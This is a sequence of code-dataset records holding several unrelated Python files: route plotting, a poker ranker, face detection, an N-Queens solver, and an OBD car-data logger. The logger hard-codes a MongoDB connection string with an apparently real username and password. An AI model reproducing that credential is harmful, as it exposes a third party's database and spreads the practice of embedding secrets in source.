test_load():\n loaded_data = {\n \"match_number\": 1,\n \"teams\": {\n \"TLA1\": {\n \"zone\": 0,\n },\n \"TLA2\": {\n \"zone\": 2,\n },\n }\n }\n\n assert_load(loaded_data)\n\ndef test_team_scoresheets():\n teams_data_complete = {\n \"TLA1\": {\n \"zone\": 0,\n \"bacon\": 4,\n \"present\": True,\n \"disqualified\": False,\n },\n \"TLA2\": {\n \"zone\": 2,\n \"bacon\": 13,\n \"present\": False,\n \"disqualified\": True,\n },\n }\n loaded_data = {\n \"match_number\": 1,\n \"teams\": {\n \"TLA1\": {\n \"zone\": 0,\n \"bacon\": 4,\n # defaults\n },\n \"TLA2\": {\n \"zone\": 2,\n \"bacon\": 13,\n \"present\": False,\n \"disqualified\": True,\n },\n },\n }\n\n ph = assert_load(loaded_data)\n\n team_scoresheets = ph.team_scoresheets\n\n assert team_scoresheets == teams_data_complete\n\ndef test_produce():\n input_ = {\n \"match_number\": 1,\n \"teams\": {\n \"TLA1\": {\n \"zone\": 0,\n },\n \"TLA2\": {\n \"zone\": 2,\n \"present\": False,\n \"disqualified\": True,\n },\n }\n }\n\n mock_loader = mock.Mock()\n mock_loader.return_value = input_\n ph = ProtonHelper(mock_loader)\n ph.load(None)\n\n scores = { \"TLA1\": 0, \"TLA2\": 13 }\n\n whole = ph.produce(scores)\n\n assert whole[\"version\"] == \"1.0.0\"\n assert whole[\"match_number\"] == 1\n assert whole[\"scores\"] == {\n \"TLA1\": helpers.tla_result_fixture(0, 0),\n \"TLA2\": {\n \"score\": 13,\n \"zone\": 2,\n # while not sane these are expected to be pass-through\n \"present\": False,\n \"disqualified\": True,\n },\n }\n","sub_path":"test/proton_helper_test.py","file_name":"proton_helper_test.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"385278711","text":"import evaluation\nimport folium\nimport main\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport weather\nimport os\nimport pickle\n\nfrom matplotlib import cm, patches\nfrom matplotlib.collections import PatchCollection\nfrom mpl_toolkits.basemap import Basemap\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom pathlib import Path\n\n\ndef plot_stats(path_logs, name):\n for path_log in path_logs.values():\n for sub_path_log in path_log.values():\n _gen = sub_path_log.select(\"gen\")\n fit_mins = sub_path_log.chapters[\"fitness\"].select(\"min\")\n size_avgs = sub_path_log.chapters[\"size\"].select(\"avg\")\n\n fig, ax1 = plt.subplots()\n fig.suptitle(name)\n line1 = ax1.save_fronts(_gen, fit_mins, \"b-\", label=\"Minimum Fitness\")\n ax1.set_xlabel(\"Generation\")\n ax1.set_ylabel(\"Fitness\", color=\"b\")\n for tl in ax1.get_yticklabels():\n tl.set_color(\"b\")\n\n ax2 = ax1.twinx()\n line2 = ax2.save_fronts(_gen, size_avgs, \"r-\", label=\"Average Size\")\n ax2.set_ylabel(\"Size\", color=\"r\")\n for tl in ax2.get_yticklabels():\n tl.set_color(\"r\")\n\n lines = line1 + line2\n labs = [line.get_label() for line in lines]\n ax1.legend(lines, labs, loc=\"center right\")\n print('{} - final avg size'.format(name), size_avgs[-1])\n\n\nclass RoutePlotter:\n def __init__(self, bounds, n_plots, vessel=None, titles=None, ecas=None, show_colorbar=True, uin=None, vin=None,\n lons=None, lats=None, DIR=Path('D:/')):\n self.DIR = DIR\n self.col_map = cm.rainbow\n if titles:\n self.titles = titles\n else:\n self.titles = ['no_title'] * n_plots\n\n self.ecas = ecas\n self.show_colorbar = show_colorbar\n self.n_plots = n_plots\n\n if vessel:\n self.vessel = vessel\n else:\n self.vessel = evaluation.Vessel()\n\n if uin is not None:\n self.uin = uin\n self.vin = vin\n self.lons = lons\n self.lats = lats\n self.plot_currents = True\n else:\n self.uin = self.vin = self.lons = self.lats = None\n self.plot_currents = False\n\n # Set extent\n minx, miny, maxx, maxy = bounds\n margin = 2\n self.lef = max(minx - margin, -180)\n self.rig = min(maxx + margin, 180)\n self.bot = max(miny - margin, -90)\n self.top = min(maxy + margin, 90)\n\n self.rows = int(round(math.sqrt(n_plots)))\n self.columns = int(math.ceil(math.sqrt(n_plots)))\n\n def plot_routes(self, results_files, best_inds_files):\n fig = plt.figure()\n fig.suptitle('Routes', fontsize=12)\n\n r_iter = iter([r for ro in range(self.rows) for r in [ro] * self.columns])\n c_iter = iter(list(range(self.columns)) * self.rows)\n for i, result in enumerate(results_files):\n r, c = next(r_iter), next(c_iter)\n\n shortest_paths = result['initialRoutes']\n individuals = best_inds_files[i]\n\n ax = plt.subplot2grid((self.rows, self.columns), (r, c))\n ax.set_title(\"{}\".format(self.titles[i]), fontsize=10)\n m = Basemap(projection='merc', resolution='c', llcrnrlat=self.bot, urcrnrlat=self.top, llcrnrlon=self.lef,\n urcrnrlon=self.rig, ax=ax)\n m.drawparallels(np.arange(-90., 90., 10.), labels=[1, 0, 0, 0], fontsize=8)\n m.drawmeridians(np.arange(-180., 180., 10.), labels=[0, 0, 0, 1], fontsize=8)\n m.drawmapboundary(color='black', fill_color='aqua')\n m.fillcontinents(color='lightgray', lake_color='lightgray', zorder=2)\n m.readshapefile(self.DIR / 'data/bathymetry_200m/ne_10m_bathymetry_K_200', 'ne_10m_bathymetry_K_200',\n drawbounds=False)\n\n ps = [patches.Polygon(np.array(shape), True) for shape in m.ne_10m_bathymetry_K_200]\n ax.add_collection(PatchCollection(ps, facecolor='white', zorder=2))\n\n # Plot initial routes\n for p in shortest_paths.values():\n for sp in p['path'].values():\n for shortest_path in sp.values():\n waypoints = [item[0] for item in shortest_path]\n edges = zip(waypoints[:-1], waypoints[1:])\n for e in edges:\n m.drawgreatcircle(e[0][0], e[0][1], e[1][0], e[1][1], linewidth=2, color='black', zorder=3)\n\n # Plot individuals\n for p in individuals.values():\n for sp in p.values():\n for ind in sp:\n # Create colors\n true_speeds = [item[1] for item in ind[:-1]]\n normalized_speeds = [(speed - min(self.vessel.speeds)) / (\n max(self.vessel.speeds) - min(self.vessel.speeds)) for speed in true_speeds] + [0]\n\n # Plot edges\n waypoints = [item[0] for item in ind]\n edges = zip(waypoints[:-1], waypoints[1:])\n for j, e in enumerate(edges):\n m.drawgreatcircle(e[0][0], e[0][1], e[1][0], e[1][1], linewidth=2,\n color=self.col_map(normalized_speeds[j]), zorder=3)\n for j, (x, y) in enumerate(waypoints):\n m.scatter(x, y, latlon=True, color='dimgray', marker='o', s=5, zorder=4)\n\n if self.plot_currents:\n # Transform vector and coordinate data\n vec_lon = int(self.uin.shape[1] / (2 * 360 / (self.rig - self.lef)))\n vec_lat = int(self.uin.shape[0] / (2 * 180 / (self.top - self.bot)))\n u_rot, v_rot, x, y = m.transform_vector(self.uin, self.vin, self.lons, self.lats, vec_lon, vec_lat,\n returnxy=True)\n\n vec_plot = m.quiver(x, y, u_rot, v_rot, color='gray', scale=50, width=.002)\n plt.quiverkey(vec_plot, 0.2, -0.2, 1, '1 knot', labelpos='W') # Position and reference label\n\n if self.ecas:\n for eca in self.ecas:\n lon, lat = eca.exterior.xy\n x, y = m(lon, lat)\n m.plot(x, y, 'o-', markersize=2, linewidth=1)\n\n if self.show_colorbar:\n # Create color bar\n sm = plt.cm.ScalarMappable(cmap=self.col_map)\n divider = make_axes_locatable(ax)\n cax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\n col_bar = plt.colorbar(sm,\n norm=plt.Normalize(vmin=min(self.vessel.speeds), vmax=max(self.vessel.speeds)),\n cax=cax)\n min_s, max_s = min(self.vessel.speeds), max(self.vessel.speeds)\n # noinspection PyProtectedMember\n col_bar._ax.set_yticklabels(\n ['%.1f' % round(min_s, 1), '%.1f' % round((1 / 5) * (max_s - min_s) + min_s, 1),\n '%.1f' % round((2 / 5) * (max_s - min_s) + min_s, 1),\n '%.1f' % round((3 / 5) * (max_s - min_s) + min_s, 1),\n '%.1f' % round((4 / 5) * (max_s - min_s) + min_s, 1), '%.1f' % round(max_s, 1)], fontsize=8)\n col_bar.set_label('Calm water speed [kn]', rotation=270, labelpad=15, fontsize=10)\n\n\ndef plot_fronts(front):\n # Plot fronts\n front = np.array([_ind.fitness.values for _ind in front])\n\n ax = plt.subplot2grid((max_sp, n_p), (sp_key, _p))\n ax.scatter(front[:, 0], front[:, 1], c=\"b\", s=1)\n ax.set_title('P{} - SP{}'.format(_p, sp_key))\n ax.axis(\"tight\")\n ax.grid()\n ax.set_xlabel('Travel time [d]')\n ax.set_ylabel(r'Fuel cost [USD, $\\times 1000$]')\n\n\ndef plot_interactive_route(path, path_key, obj_key):\n wps = [el[0] for el in path]\n start_point, end_point = wps[0], wps[-1]\n\n # Plot of the path using folium\n geo_path = np.asarray(wps)\n geo_path[:, [0, 1]] = geo_path[:, [1, 0]] # swap columns\n geo_map = folium.Map([0, 0], zoom_start=2)\n for point in geo_path:\n folium.Marker(point, popup=str(point)).add_to(geo_map)\n folium.PolyLine(geo_path).add_to(geo_map)\n\n # Add a Mark on the start and positions in a different color\n folium.Marker(geo_path[0], popup=str(start_point), icon=folium.Icon(color='red')).add_to(geo_map)\n folium.Marker(geo_path[-1], popup=str(end_point), icon=folium.Icon(color='red')).add_to(geo_map)\n\n # Save the interactive plot as a map\n output_name = 'output/example_path_{}_obj_{}_plot.html'.format(path_key, obj_key)\n geo_map.save(output_name)\n print('Output saved to: {}'.format(output_name))\n\n\nif __name__ == \"__main__\":\n os.chdir('..')\n _ID_dict = {'Cruisje naar Sydney': '22_09_26'}\n\n # _start_date = datetime.datetime(2016, 1, 1)\n _start_date = None\n planner = main.RoutePlanner()\n\n DIR = Path('D:/')\n\n with open(DIR / 'data/seca_areas_csv', 'rb') as file:\n _ecas = pickle.load(file)\n\n # Get outer bounds of all paths\n _minx, _miny, _maxx, _maxy = 180, 90, -180, -90\n for file_id in _ID_dict.values():\n with open('output/result/{}'.format(file_id), 'rb') as f:\n _result = pickle.load(f)\n\n for _p in _result['fronts'].values():\n for _front in _p.values():\n # Get outer bounds of paths\n _wps = np.asarray([row[0] for ind in _front for row in ind])\n minx_i, miny_i = np.amin(_wps, axis=0)\n maxx_i, maxy_i = np.amax(_wps, axis=0)\n _minx, _miny = min(minx_i, _minx), min(miny_i, _miny)\n _maxx, _maxy = max(maxx_i, _maxx), max(maxy_i, _maxy)\n\n _bounds = (_minx, _miny, _maxx, _maxy)\n\n plotter = RoutePlotter(bounds=_bounds, n_plots=len(_ID_dict), titles=list(_ID_dict.keys()), ecas=_ecas,\n vessel=planner.vessel)\n\n all_results, all_best_inds = [], []\n # Inspect best individuals for every ID dict key\n for f_idx, f_title in enumerate(_ID_dict.keys()):\n with open('output/result/{}'.format(_ID_dict[f_title]), 'rb') as f:\n _result = pickle.load(f)\n\n # Initialize pareto_fig\n pareto_fig, axs = plt.subplots(squeeze=False)\n pareto_fig.suptitle(f_title)\n\n n_p = len(_result['fronts'])\n max_sp = max([len(_result['fronts'][p]) for p in _result['fronts']])\n\n # Get best individuals in front\n best_inds = {}\n max_days = 0\n for _p, p_val in _result['fronts'].items():\n best_inds[_p] = {'fuel': [], 'time': [], 'fit': []}\n for sp_key, _front in p_val.items():\n # Get min time, min fuel and min fitness individuals\n fit_values = np.asarray([_ind.fitness.values for _ind in _front])\n\n time_ind = _front[np.argmin(fit_values[:, 0])]\n fuel_ind = _front[np.argmin(fit_values[:, 1])]\n fit_ind = _front[0]\n\n best_inds[_p]['fuel'].append(fuel_ind)\n best_inds[_p]['time'].append(time_ind)\n best_inds[_p]['fit'].append(fit_ind)\n\n # Get max days\n max_days = math.ceil(max(max_days, max(\n [fuel_ind.fitness.values[0], time_ind.fitness.values[0], fit_ind.fitness.values[0]])))\n\n # Plot fronts\n plot_fronts(_front)\n\n print('n_days:', max_days)\n\n if _start_date:\n planner.evaluator.currentOp = weather.CurrentOperator(_start_date, max_days)\n\n for _p, _path in best_inds.items():\n for _k, _ind_list in _path.items():\n total_fit = total_original_fit = np.zeros(2)\n for _ind in _ind_list:\n plot_interactive_route(_ind, _p, _k)\n fit = np.array(planner.tb.evaluate(_ind))\n original_fit = np.array(_ind.fitness.values)\n total_fit += fit\n total_original_fit += original_fit\n\n file_key = list(_ID_dict.keys())[f_idx]\n print('File {} Path {} Obj {:>4} real'.format(file_key, _p, _k), np.round(total_fit,\n 2)) # print('File {} Path\n # {} Obj {:>4} orig'.format(file_key, _p, _k), np.round(total_original_fit, 2)) # print('DIFF\n # ORIGINAL: {}'.format(np.subtract(_ind.fitness.values, fit)))\n\n all_results.append(_result)\n all_best_inds.append(best_inds)\n\n plotter.plot_routes(all_results, all_best_inds)\n\n for f_idx, f_title in enumerate(_ID_dict.keys()):\n with open('output/result/{}'.format(_ID_dict[f_title]), 'rb') as f:\n _result = pickle.load(f)\n\n plot_stats(_result['logs'], f_title)\n plt.show()\n","sub_path":"analysis/inspection.py","file_name":"inspection.py","file_ext":"py","file_size_in_byte":13058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"198549248","text":"\"\"\"\r\n\n\nIn this challenge, you have to establish which kind of Poker combination is\npresent in a deck of five cards. Every card is a string containing the card\nvalue (with the upper-case initial for face-cards) and the lower-case initial\nfor suits, as in the examples below:\n\n \"Ah\" ➞ Ace of hearts\n \"Ks\" ➞ King of spades\n \"3d\" ➞ Three of diamonds\n \"Qc\" ➞ Queen of clubs\n\nThere are 10 different combinations. Here's the list, in decreasing order of\nimportance:\n\nName| Description \n---|--- \n **Royal Flush**| A, K, Q, J, 10, all with the same suit. \n **Straight Flush**| Five cards in sequence, all with the same suit. \n **Four of a Kind**| Four cards of the same rank. \n **Full House**| Three of a Kind with a Pair. \n **Flush**| Any five cards of the same suit, not in sequence. \n **Straight**| Five cards in a sequence, but not of the same suit. \n **Three of a Kind**| Three cards of the same rank. \n **Two Pair**| Two different Pair. \n **Pair**| Two cards of the same rank. \n **High Card**| No other valid combination. \n \nGiven a list `hand` containing five strings being the cards, implement a\nfunction that returns a string with the name of the highest combination\nobtained, accordingly to the table above.\n\n### Examples\n\n poker_hand_ranking([\"10h\", \"Jh\", \"Qh\", \"Ah\", \"Kh\"]) ➞ \"Royal Flush\"\n \n poker_hand_ranking([\"3h\", \"5h\", \"Qs\", \"9h\", \"Ad\"]) ➞ \"High Card\"\n \n poker_hand_ranking([\"10s\", \"10c\", \"8d\", \"10d\", \"10h\"]) ➞ \"Four of a Kind\"\n\n### Notes\n\nN/A\n\n\"\"\"\r\n\ndef poker_hand_ranking(hand):\n lookup = {\"2\":2, \"3\":3, \"4\":4, \"5\":5, \"6\":6, \"7\":7, \"8\":8, \"9\":9, \"1\":10, \"J\":11, \"Q\":12, \"K\":13, \"A\":14}\n values = []\n suits = []\n for x in range(len(hand)):\n values.append(lookup.get(hand[x][0]))\n suits.append(hand[x][len(hand[x]) - 1])\n values.sort()\n \n #royal/straight/flush\n if suits.count(suits[0]) == len(suits):\n if values == list(range(min(values), max(values) + 1)):\n if values == list(range(10, 15)):\n return \"Royal Flush\"\n return \"Straight Flush\"\n return \"Flush\"\n \n #four of a kind\n if values.count(values[0]) == 4 or values.count(values[1]) == 4:\n return \"Four of a Kind\"\n \n #full house/three of a kind\n if values.count(values[1]) == 3:\n if values.count(values[len(values) - 1]) == 2:\n return \"Full House\"\n return \"Three of a Kind\"\n if values.count(values[len(values) - 1]) == 3:\n if values.count(values[1]) == 2:\n return \"Full House\"\n return \"Three of a Kind\"\n \n #straight\n if values == list(range(min(values), max(values) + 1)):\n return \"Straight\"\n \n #two pair\n if values.count(values[1]) == 2:\n if values.count(values[3]) == 2:\n return \"Two Pair\"\n return \"Pair\"\n if values.count(values[3]) == 2:\n if values.count(values[1]) == 2:\n return \"Two Pair\"\n return \"Pair\"\n \n return \"High Card\"\n\n","sub_path":"C6pHyc4iN6BNzmhsM_22.py","file_name":"C6pHyc4iN6BNzmhsM_22.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614451082","text":"import RPi.GPIO as GPIO\nimport obd\nfrom obd import OBDStatus\nimport datetime\n\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(18,GPIO.OUT)\n\nwhile (OBDStatus.CAR_CONNECTED):\n # successful communication with the ELM327 and the vehicle\n\n connection = obd.OBD() # auto-connects to USB or RF port\n \n spd = obd.commands.SPEED\n rpm = obd.commands.RPM # select an OBD command (sensor)\n tps = obd.commands.THROTTLE_POS\n maf = obd.commands.MAF\n engload = obd.commands.ENGINE_LOAD \n \n speed = connection.query(spd)\n revolution = connection.query(rpm) # send the command, and parse the response\n throttle_pos = connection.query(tps)\n massflow = connection.query(maf)\n engine_load = connection.query(engload)\n\n print(speed.value)\n print(revolution.value.magnitude) # returns unit-bearing values thanks to Pint\n print(throttle_pos.value)\n print(massflow.value)\n print(engine_load.value)\n \n if speed.value.magnitude <= 1:\n GPIO.output(18,GPIO.HIGH)\n elif speed.value.magnitude >= 2:\n GPIO.output(18,GPIO.LOW)\n else:\n GPIO.output(18,GPIO.LOW)\n\n from pymongo import MongoClient\n # pprint library is used to make the output look more pretty\n from pprint import pprint\n # connect to MongoDB, change the << MONGODB URL >> to reflect your own connection string\n\n client = MongoClient('mongodb://gareth:1utmHy2HBYCKZWLO@testing-shard-00-00-ic2uk.mongodb.net:27017,testing-shard-00-01-ic2uk.mongodb.net:27017,testing-shard-00-02-ic2uk.mongodb.net:27017/test?ssl=true&replicaSet=testing-shard-0&authSource=admin')\n\n db=client.testdb\n\n from datetime import datetime\n\n result = db.smartcar.insert_one(\n {\n \"Vehicle\": {\n \"Model\": \"Smart\",\n \"Year\": \"2005\",\n \"Type\": \"Roadster\",\n \"Speed\": speed.value.magnitude,\n \"RPM\": revolution.value.magnitude,\n \"TPS\": throttle_pos.value.magnitude,\n \"MAF\": massflow.value.magnitude,\n \"EngineLoad\": engine_load.value.magnitude\n }\n }\n )\n","sub_path":"dev_python/obdmong.py","file_name":"obdmong.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601586024","text":"# -*- coding: utf-8 -*-\n\nimport os, sys\nimport numpy as np\nfrom scipy import misc\nimport matplotlib.pyplot as plt\n\n\ndef plot_lr(l_img, r_img, l_title=None, r_title=None, suptitle=None):\n\n fig, axes = plt.subplots(nrows=1, ncols=2, figsize=(10, 4))\n\n axes[0].imshow(l_img)\n axes[0].set_title(l_title)\n\n axes[1].imshow(r_img)\n axes[1].set_title(r_title)\n\n plt.suptitle(suptitle, fontsize=16)\n plt.show()\n\nif __name__ == '__main__':\n img1 = misc.imread('/home/pingjun/Desktop/SegPreds/n0253.png')\n img2 = misc.imread('/home/pingjun/Desktop/SegPreds/n0265.png')\n plot_lr(img1, img2, l_title=\"Left\", r_title=\"Right\", suptitle=\"Two Images\")\n","sub_path":"pydaily/plots/subplot.py","file_name":"subplot.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"199721238","text":"from PyQt5.QtWidgets import QPushButton, QVBoxLayout, QWidget, QApplication\nfrom PyQt5.QtGui import QIcon, QPixmap\nimport cv2\nfrom keras.models import load_model\nimport numpy as np\nimport ChineseText\nimport sys\nfrom time import sleep\nimport os\n\n\nclass WindowClass(QWidget):\n def __init__(self, parent=None):\n super(WindowClass, self).__init__(parent)\n self.cap = cv2.VideoCapture(0)\n self.ret = None\n self.img = None\n self.number = 1\n self.classifier = cv2.CascadeClassifier(\n \"D:\\Files\\PythonFile\\pyQt5Demo\\data\\haarcascades\\haarcascade_frontalface_default.xml\")\n\n self.btn_1 = QPushButton(\"开始\")\n self.btn_3 = QPushButton(\"捕捉\")\n self.btn_4 = QPushButton(\"退出\")\n self.btn_2=QPushButton(\"特效\")\n\n # self.btn_1.setCheckable(True) # 设置已经被点击\n # self.btn_1.toggle() # 切换按钮状态\n self.btn_1.clicked.connect(lambda: self.wichBtn(self.btn_1))\n\n # self.btn_2.setDefault(True)\n self.btn_2.clicked.connect(lambda: self.wichBtn(self.btn_2))\n\n # self.btn_3.setDefault(True) # 设置该按钮式默认状态的\n self.btn_3.clicked.connect(lambda: self.wichBtn(self.btn_3))\n\n self.btn_4.clicked.connect(lambda: self.wichBtn(self.btn_4))\n\n self.resize(400, 300)\n layout = QVBoxLayout()\n layout.addWidget(self.btn_1)\n layout.addWidget(self.btn_2)\n layout.addWidget(self.btn_3)\n layout.addWidget(self.btn_4)\n # layout.addWidget(self.btn_2)\n\n self.setLayout(layout)\n\n def btnState(self):\n\n # OpenCV人脸识别分类器\n # cap=cv2.VideoCapture(0)\n while(1):\n self.ret, self.img = self.cap.read()\n gray = cv2.cvtColor(self.img, cv2.COLOR_RGB2GRAY)\n gender_classifier = load_model(\n \"D:\\Files\\PythonFile\\pyQt5Demo\\\\faceai-master\\\\faceai\\classifier\\gender_models\\simple_CNN.81-0.96.hdf5\")\n gender_labels = {0: '女', 1: '男'}\n # classifier = cv2.CascadeClassifier(\n # \"D:\\\\Files\\PythonFile\\\\pyQt5Demo\\\\data\\haarcascades\\\\haarcascade_frontalface_default.xml\"\n # )\n color = (0, 100, 0) # 定义绘制颜色\n # 调用识别人脸\n faceRects = self.classifier.detectMultiScale(\n gray, scaleFactor=1.2, minNeighbors=3, minSize=(32, 32))\n if len(faceRects): # 大于0则检测到人脸\n for faceRect in faceRects: # 单独框出每一张人脸\n x, y, w, h = faceRect\n face = self.img[(y - 60):(y + h + 60), (x - 30):(x + w + 30)]\n face = cv2.resize(face, (48, 48))\n face = np.expand_dims(face, 0)\n face = face / 255.0 \n gender_label_arg = np.argmax(gender_classifier.predict(face))\n gender = gender_labels[gender_label_arg]\n cv2.rectangle(self.img, (x, y), (x + h, y + w), color, 2)\n self.img = ChineseText.cv2ImgAddText(self.img, gender, x + h, y, color, 30)\n # 框出人脸\n cv2.rectangle(self.img, (x, y), (x + h, y + w), color, 1)\n # 左眼\n cv2.circle(self.img, (x + w // 4, y + h // 4 + 30), min(w // 8, h // 8),\n color, 1)\n # 右眼\n cv2.circle(self.img, (x + 3 * w // 4, y + h // 4 + 30), min(w // 8, h // 8),\n color, 1)\n # 嘴巴\n cv2.rectangle(self.img, (x + 3 * w // 8, y + 3 * h // 4),\n (x + 5 * w // 8, y + 7 * h // 8), color, 1)\n\n cv2.namedWindow(\"enhanced\", flags=0)\n cv2.resizeWindow(\"enhanced\", 1000, 960)\n cv2.imshow(\"enhanced\", self.img) # 显示图像\n c = cv2.waitKey(10)\n def btnState2(self):\n while(1):\n imgCompose = cv2.imread(\"D:\\Files\\PythonFile\\\\figures\\maozi.png\")\n # cap = cv2.VideoCapture(0)\n ret,img=self.cap.read()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 转换灰色\n color = (0, 255, 0) # 定义绘制颜色\n # 调用识别人脸\n faceRects = self.classifier.detectMultiScale(\n gray, scaleFactor=1.2, minNeighbors=3, minSize=(32, 32))\n if len(faceRects): # 大于0则检测到人脸\n for faceRect in faceRects: \n x, y, w, h = faceRect\n sp = imgCompose.shape\n imgComposeSizeH = int(sp[0]/sp[1]*w)\n if imgComposeSizeH>(y-20):\n imgComposeSizeH=(y-20)\n imgComposeSize = cv2.resize(imgCompose,(w, imgComposeSizeH), interpolation=cv2.INTER_NEAREST)\n top = (y-imgComposeSizeH-20)\n if top<=0:\n top=0\n rows, cols, channels = imgComposeSize.shape\n roi = img[top:top+rows,x:x+cols]\n\n # Now create a mask of logo and create its inverse mask also\n img2gray = cv2.cvtColor(imgComposeSize, cv2.COLOR_RGB2GRAY)\n ret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY) \n mask_inv = cv2.bitwise_not(mask)\n\n # Now black-out the area of logo in ROI\n img1_bg = cv2.bitwise_and(roi, roi, mask=mask_inv)\n\n # Take only region of logo from logo image.\n img2_fg = cv2.bitwise_and(imgComposeSize, imgComposeSize, mask=mask)\n\n # Put logo in ROI and modify the main image\n dst = cv2.add(img1_bg, img2_fg)\n img[top:top+rows, x:x+cols] = dst\n cv2.namedWindow(\"enhanced\", flags=0)\n cv2.resizeWindow(\"enhanced\", 1000, 960)\n cv2.imshow(\"enhanced\", img) # 显示图像\n c = cv2.waitKey(10)\n def wichBtn(self, btn):\n if btn == self.btn_1:\n self.btnState()\n elif btn == self.btn_4:\n self.cap.release()\n self.close()\n elif btn==self.btn_2:\n self.btnState2()\n else:\n imgpath = \"D:\\Files\\PythonFile\\\\figures\" \"\\\\\" + \\\n str(self.number) + \".jpg\"\n cv2.imwrite(imgpath, self.img)\n self.number = self.number+1\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n win = WindowClass()\n win.show()\n sys.exit(app.exec_())\n","sub_path":"pyQt5Demo/pyQtDemo.py","file_name":"pyQtDemo.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77501810","text":"\n\nfrom xai.brain.wordbase.nouns._varnish import _VARNISH\n\n#calss header\nclass _VARNISHES(_VARNISH, ):\n\tdef __init__(self,): \n\t\t_VARNISH.__init__(self)\n\t\tself.name = \"VARNISHES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"varnish\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_varnishes.py","file_name":"_varnishes.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"274121649","text":"from io import BytesIO\r\n\r\nfrom aiohttp.web import Response as send_file\r\nfrom wand import image\r\n\r\nfrom utils import http\r\nfrom utils.endpoint import Endpoint\r\n\r\n\r\nclass Magik(Endpoint):\r\n async def generate(self, request, avatars, text, usernames):\r\n avatar = await http.get_image(request, avatars[0])\r\n with image.Image(file=avatar) as img:\r\n img.transform(resize='400x400')\r\n img.liquid_rescale(width=int(img.width * 0.5),\r\n height=int(img.height * 0.5),\r\n delta_x=0.5,\r\n rigidity=0)\r\n img.liquid_rescale(width=int(img.width * 1.5),\r\n height=int(img.height * 1.5),\r\n delta_x=2,\r\n rigidity=0)\r\n\r\n b = BytesIO()\r\n img.save(file=b)\r\n b.seek(0)\r\n return send_file(body=b, content_type='image/png')\r\n\r\n\r\ndef setup():\r\n return Magik()\r\n","sub_path":"endpoints/magik.py","file_name":"magik.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"61996331","text":"from django.urls import path\n\nfrom .views import index, room, chatroomlist, createroom, current_user, UserList, AddRoom, RemoveRoom\n\nurlpatterns = [\n path('', index, name='index'),\n path('current_user/', current_user),\n path('users/', UserList.as_view()),\n path('/', room, name='room'),\n path('chatroomlist//', chatroomlist, name='chatroomlist'),\n path('removeroom//', RemoveRoom, name=\"removeroom\"),\n path('createroom//', AddRoom, name='addroom')\n]\n","sub_path":"capstone/chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"537719481","text":"# 51. N-Queens # The n-queens puzzle is the problem of placing n queens on an n×n chessboard such that no two queens attack each other.\n\n# Given an integer n, return all distinct solutions to the n-queens puzzle.\n\n# Each solution contains a distinct board configuration of the n-queens' placement,\n# where 'Q' and '.' both indicate a queen and an empty space respectively.\n\n# Example:\n\n# Input: 4\n# Output: [\n# [\".Q..\", // Solution 1\n# \"...Q\",\n# \"Q...\",\n# \"..Q.\"],\n\n# [\"..Q.\", // Solution 2\n# \"Q...\",\n# \"...Q\",\n# \".Q..\"]\n# ]\n# Explanation: There exist two distinct solutions to the 4-queens puzzle as shown above.\n\nfrom typing import List\n\n\nclass Solution:\n def solveNQueens(self, n: int) -> List[List[str]]:\n \"\"\"\n We place queens on the board one row at a time,\n starting with the top row.\n To place the rth queen,\n we methodically try all n squares in row r\n from left to right in a simple for loop.\n If a particular square is attacked by an earlier queen,\n we ignore that square;\n otherwise,\n we tentatively place a queen on that\n square and recursively grope for consistent placements of\n the queens in later rows\n -- Algorithm By Jeff Erickson\n \"\"\"\n results = []\n\n Q = [-1 for _ in range(n)]\n\n def Place_Queens(Q: List[int], r: int):\n if r == len(Q):\n result = []\n # convert result to answer\n for i in Q:\n result.append(\"\".join(\n [\".\" if x != i else \"Q\" for x in range(n)]))\n results.append(result)\n else:\n # The outer for-loop considers all possible placements\n # of a queen on row r;\n for j in range(len(Q)):\n legal = True\n # the inner for-loop checks whether a candidate\n # placement of row r is consistent with\n # the queens that are already on the first r − 1 rows.\n for i in range(r):\n if (\n # check horizontally : if the line above occupy\n # same x,horizontally illegel\n (Q[i] == j) or\n # https: // i.loli.net/2019/09/03/qvfk2x4RQltwy8d.png\n # diagonally right\n (Q[i] == j + (r-i)) or\n # diagonally left\n (Q[i] == j - (r-i))\n ):\n legal = False\n if (legal):\n Q[r] = j\n Place_Queens(Q, r + 1)\n\n Place_Queens(Q, 0)\n\n return results\n\n\nif __name__ == '__main__':\n from util import Test\n s = Solution()\n result = [[\".Q..\", \"...Q\", \"Q...\", \"..Q.\"],\n [\"..Q.\", \"Q...\", \"...Q\", \".Q..\"]]\n t = Test(s.solveNQueens)\n t.equal(result, 4)\n","sub_path":"Python/51.py","file_name":"51.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"358185294","text":"from typing import Any, List, Type\nfrom unittest import TestCase\n\nfrom 